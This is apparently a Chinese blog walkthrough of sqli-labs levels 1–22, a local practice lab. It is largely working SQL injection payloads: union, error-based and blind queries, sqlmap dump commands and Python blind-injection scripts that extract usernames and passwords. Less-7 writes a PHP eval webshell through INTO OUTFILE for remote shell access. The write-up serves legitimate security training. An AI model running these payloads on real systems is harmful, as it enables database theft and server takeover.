前言
这几天也算是为了记录自己的成长过程来更新sqli-labs的做题记录。不知道能不能更完,毕竟总共有65关。不管怎么样,努力做到不咕吧。
受限于篇幅设置,我对于每一关的原理肯定没有办法讲得特别详细,但我会尽量讲得通俗易懂,并且给出相应的参考文章。
同时,对于类型相同的题目,我尽量给出不同的解法,来充实,提高自己。
Less-1
这题的考点是union联合查询注入。
对于这种类型,我推荐小白可以去看看这两篇文章。
文章1 文章2
我们先来判断注入类型。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 --+
经这两者判断,第一种传入网站显示正常,第二种传入网站显示不正常。可以看出我们的语句已经被执行。因此说明是单引号类型注入。 先判断字段数。依次递增order by 后面的数值。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 2 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+
发现3时不报错,而4时报错,所以字段数是3。
接下来用联合查询判断显示位。首先我们要让id变成一个不存在的值以便显示出来的值都是union语句执行的结果。在这里我们使用100。
http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,3 --+
可以看出,显示位为2和3。接下来便是常规操作:
爆库:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,database() --+
爆表:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆字段:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
爆值:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(username,0x3a,password,0x3c2f62723e) from security.users --+
至此,一次sql注入便完成了。
Less-2
这道题和上面那道其实很类似。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=2 --+
第一种传入网站显示正常,第二种传入网站显示不正常。可以看出我们的语句已经被执行。因此说明是数值类型注入。
之后的注入类型与Less-1雷同(仅需把单引号去掉而已)。不再赘述。
Less-3
我们先传入id=1’,可以得到这样的报错信息。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
由此看出,我们需要闭合’).
http://127.0.0.1/sqli-labs-master/Less-1/?id=1') and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1') and 1=2 --+
经同上面的判断,可以看出代码已被执行。之后的注入过程雷同Less-1.
Less-4
我们传入id=1”,可以得到这样的报错信息。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
由此看出,我们需要闭合”)。之后的过程类似Less-1.
由此看出,这四题主要区别就是在闭合符号的区别,实际应用中我们一方面可以通过报错信息来判断需要闭合的符号。也可以采用burp suite跑字典来进行Fuzz。
Less-5
经过测试,该题没有显示位。故不能再使用union联合注入。应该考虑布尔盲注,延时注入和报错注入。由于此题存在报错反馈,于是我们采取报错注入。关于报错注入,可以看看我的这篇博客 网址
爆库:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
需要注意的是,输出的结果末端带有一个1,这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)。我们无视它就可以了。
爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
在爆表的过程中发现它会爆出错误。 这里发现页面提示我输出信息超过一行,所以我们要采用limit语句来控制输出。于是有:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆字段:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆值:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(username,0x3a,password) from security.users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
根据limit不断递增即可得到全部值。
这道题也可以采用布尔盲注(当然延时注入也可以,只不过延时注入我觉得比较高级一些,在下面的题目再讲)
布尔盲注是通过界面的变化来判断语句的执行结果(例如本题的you are in)。但是纯手工注入一般极其耗时(我当时有一次注了一个小时还没注完)
因此我们一般使用python脚本/burp suite/sqlmap来进行注入。
我在这里演示一种最简单的sqlmap法(懒。。。。)
判断能否注入:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1"
从图片可以看出,这里是存在注入的。
爆库:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --dbs
爆表:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security --tables
爆字段:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security -T users --columns
爆值:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security -T users -C username,password --dump
不得不说,虽然成为一名脚本小子不是我的本意,但是像sqlmap这样的软件还是大大提高了测试的效率(真香。。。)
Less-6
该题和Less-5几乎一样,唯一的区别就在于闭合符号的不同。在这里我演示一下利用burp suite进行Fuzz的过程。
我们先将传入的’设置为负载点。
再添加burp suite自带的sqli Fuzz字典。(当然字典也可以自己添加,GitHub上一大堆)
从攻击返回的测试结果中我们可以发现传入的参数为”时报错,也就说明我们需要闭合”。
之后的注入过程便雷同Less-5了。
Less-7
这题是有关文件读取与注入的。这种题目一般有两个难点。
1.要有读取文件的权限
2.要知道绝对物理路径
对于这道题,我们先经过fuzz确定需要闭合’))。又由于我们是本机操作所以默认知道了绝对路径。因此上传一句话木马。
http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“von”])?>' into outfile "C:\\AppServ\\www\\von.php"--+
之后使用中国菜刀连接即可getshell。
注意:地址中的每个\都要在前面加上另外一个\来转义
Less-8
经过简单测试,这道题我们需要闭合’。和Less-5一样没有显示位。但是和Less-5的区别在于过滤了报错语句,所以我们不能使用报错注入,只能使用布尔盲注和延时注入。在这里我们使用布尔盲注。我这里使用了一个半自动的脚本。
#布尔注入
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ord(substr(database(),{},1))={}--+"
result =""
for i in range(1,10):
for j in range(23,127):
payload = url.format(i,j)
r = requests.get(payload)
if "are" in r.text:
result += chr(j)
print result
break;
这个脚本没办法实现像sqlmap那样的全智能注入,需要你自己去构造payload,但无论如何,比起手工注入已经是大大提高了效率了。当然本题我们也可以采取用sqlmap跑,过程参考Less-5.
Less-9
这道题考的是延时注入。经测试,无论输入什么都是返回You are in…所以我们不能根据页面的返回来判断是否执行语句,也就是不能执行布尔注入。
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5)--+
我们先进行此语句,发现页面没有立刻返回,说明语句已经被执行。说明我们闭合正确了。我继续用了一个半自动的脚本。
#延时注入
import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ord(substr(database(),{},1))={},sleep(5),1)--+"
result = ''
for i in range(1,10):
for j in range(23,127):
payload = url.format(i,j)
time1 = time.time()
r = requests.get(payload)
time2 = time.time()
time3 = time2 - time1
if time3 > 4:
result += chr(j)
print result
break
同样也可以使用sqlmap跑,最省事。
Less-10
首先测试闭合。
http://127.0.0.1/sqli-labs-master/Less-10/?id=1' and sleep(5)--+
http://127.0.0.1/sqli-labs-master/Less-10/?id=1') and sleep(5)--+
http://127.0.0.1/sqli-labs-master/Less-10/?id=1')) and sleep(5)--+
测试这上面三个发现都立刻加载出页面,说明语句没有被执行。再测试双引号发现可以被执行。
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5)--+
之后的步骤和Less-9完全一样,不再赘述。
Less-11
从这关开始就进入post注入的范围了。但是其实post注入和get注入差别不大。
我们先对username传入admin’# ,密码随便输。可以发现我们登陆成功,显示出了admin账号的密码。接下来的注入过程类似Less-1。
先用order by判断出有两个字段。再依次对username进行传参。
username=admin' union select 1,database()#
username=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
username=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
username=1' union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users#
至于这个过程,password可以随便输入。因为当你传进去username的参数后,后台的sql语句变成这样:
SELECT username, password FROM users WHERE username='1' union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users#' and password='$passwd' LIMIT 0,1
可以看出,password部分已经被我们注释掉了,从而达到了绕过的目的。
Less-12
这一关和Less-11几乎一样,只是闭合方式从’变成了”),改变闭合方式后剩余步骤模仿Less-11就行。 这里解释一下一个问题,就是我们对username传入1’ or 1=1#后发现我们是以dumb账号登陆。这里是因为他在语句后面加了limit限制只允许输出一条数据的原因,而dumb账号在表中的优先级是最高的,所以优先输出dumb账户的数据。
Less-13
经测试,可用’)来进行闭合,但是闭合后发现没有显示位,测试了一下发现可以使用报错注入。这次我使用extractvalue()报错。
依次对username进行传参。
username:1') and extractvalue(1,concat(1,database()))#
username:1') and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name='users' limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 1,1)))#
这道题走了蛮多坑的,主要是不太明白为什么报错的时候一定要用concat语句,直接extractvalue(1,database())为什么不行?把它换成group_concat似乎也行,
但是好像当我们要使用limit的时候有点麻烦(除非使用group by),所以在这里还是推荐使用使用concat语句。并且发现concat语句如果连接的是select语句,需要把语句以一个大括号包起来。至于第一个问题,如果有师傅了解的话,请告知我。
Less-14
这道题和上一道题基本一样,只不过把闭合从’)换成”而已。之后步骤模仿Less-13即可。
Less-15
页面有回显,但是无法使用报错注入。故使用布尔盲注。
这里继续用一个半自动的脚本来解决:
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-15/"
result =""
for i in range(1,10):
for j in range(65,150):
payload1 = "admin'^(ascii(substr(database(),{},1))>{})^1#".format(i,j)
payload2 = "admin'^(ascii(mid(database()from {}))>{})^1%23".format(i,j)
data = {"uname":payload1,"passwd":"123"}
r = requests.post(url,data=data)
if "slap.jpg" in r.text:
result += chr(j)
print result
break
Less-16
这道题和Less-15基本一样。只不过把闭合换成了”)而已,只需要更改脚本即可得出结果。
Less-17
这道题是update注入,从源码中可以知道其对username使用了check_input函数进行过滤,因此无法对username进行注入。应该从password入手。这里我采用updatexml()报错注入。
password:1' and updatexml(1,concat(1,database()),1)#
password:1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
password:1' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#
password:1' and updatexml(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)),1)#
注意:在查数据时会爆出”You can’t specify target table ‘users’ for update in FROM clause”的错误,就是说不能一边update一边select.这时候我们就需要通过建一张临时表来解决了。故语句如下:
1' and updatexml(1,concat(1,(select concat(username,0x3a,password) from (select * from security.users)a limit 0,1)),1)#
在注入过程中我们需要填入一个已经存在的usernam(如:admin)而不能留空,因为要先执行相应的select语句才会执行update语句。
Less-18
从这关开始是http头注入。尝试了各种注入手段以后都失败。看了WP才发现是要登陆后才能注入。。。。
查看源码。
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
并且发现username,password都被过滤了。发现在插入到uagents表时对参数没有过滤,因此我们可以在useragent处实现注入。只要先注释掉’就可以执行后面的语句了。用burp suite修改user agent。而至于为什么不能通过X-Forwarded-For修改IP来注入,是因为获取IP则使用了REMOTE_ADDR,这能直接获取TCP协议数据包的底层会话IP地址,它能被代理服务器或路由修改伪造,但非修改XFF头就可以更改的。
需要注意的是:这里我们不能直接将UA像之前的题目一样直接改为1’ and updatexml(1,concat(1,database()),1)#。这样的话会发现报错,下面我就来详细的讲解一下。
我们先来看一下sql语句。
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')";
如果我们直接插入1’ and updatexml(1,concat(1,database()),1)#的话。语句将变成:
INSERT INTO 'security'.'ugents'('uagent','ip_address','username') VALUES ('1' and updatexml(1,concat(1,database()),1)#','$IP','$uname')
这样将使后面的IP和username被注释掉了无法插入表,而且VALUES后面的)也没办法闭合导致无法注入。
所以我们需要去将)闭合。我这里给出一个例子:
1',updatexml(1,concat(1,database()),1),1)#
这里我们相当于将我们的报错语句插入到了’$IP’中。
后面对于表名,字段名,数据的注入自行更改中间的报错语句即可。
Less-19
这道题和上面一道题很像,登陆后发现他有显示Refer地址和IP地址(这关我演示以下不通过查看源代码所进行的(伪)黑盒测试)。
首先我们要判断闭合方式。
1.当我们将Refer改为1’时发现报错,猜测闭合方式类似’$IP’
- 猜测INSERT语句类似上一关
insert into table values('UA','IP','username')
将Refer改为:
1',updatexml(1,concat(1,database()),1),1)#
3.发现报错Column count doesn’t match value count at row 1,这是INSERT语句时前后列数不同造成的,也就是可能并没有要我们插入三个字段。 猜测语句可能为:
insert into table values('UA','IP')
构造Refer为:1’,updatexml(1,concat(1,database()),1))#,发现成功注入。接下来爆表,爆字段,爆值等过程参考之前的关卡。
Less-20
这题目告诉你是cookie注入。登录后使用cookie伪造即可。将cookie改为:
uname=admin' and updatexml(1,concat(1,database()),1),1)#
发现可以成功报错。接着依次爆表,爆字段,爆值即可。
Less-21
发现题目对cookie进行了base64处理,我们模仿即可。 对admin’ and updatexml(1,concat(1,database()),1),1)#进行base64编码:
YWRtaW4lMjclMjBhbmQlMjB1cGRhdGV4bWwlMjgxJTJDY29uY2F0JTI4MSUyQ2RhdGFiYXNlJTI4JTI5JTI5JTJDMSUyOSUyQzElMjklMjM=
传参即可得到库名,之后过程不赘述。
Less-22
这道题和Less-21基本一样,将闭合改为”即可。
对admin” and updatexml(1,concat(1,database()),1),1)#进行base64编码:
YWRtaW4lMjIlMjBhbmQlMjB1cGRhdGV4bWwlMjgxJTJDY29uY2F0JTI4MSUyQ2RhdGFiYXNlJTI4JTI5JTI5JTJDMSUyOSUyQzElMjklMjM=
传参即可得到库名,之后过程不赘述。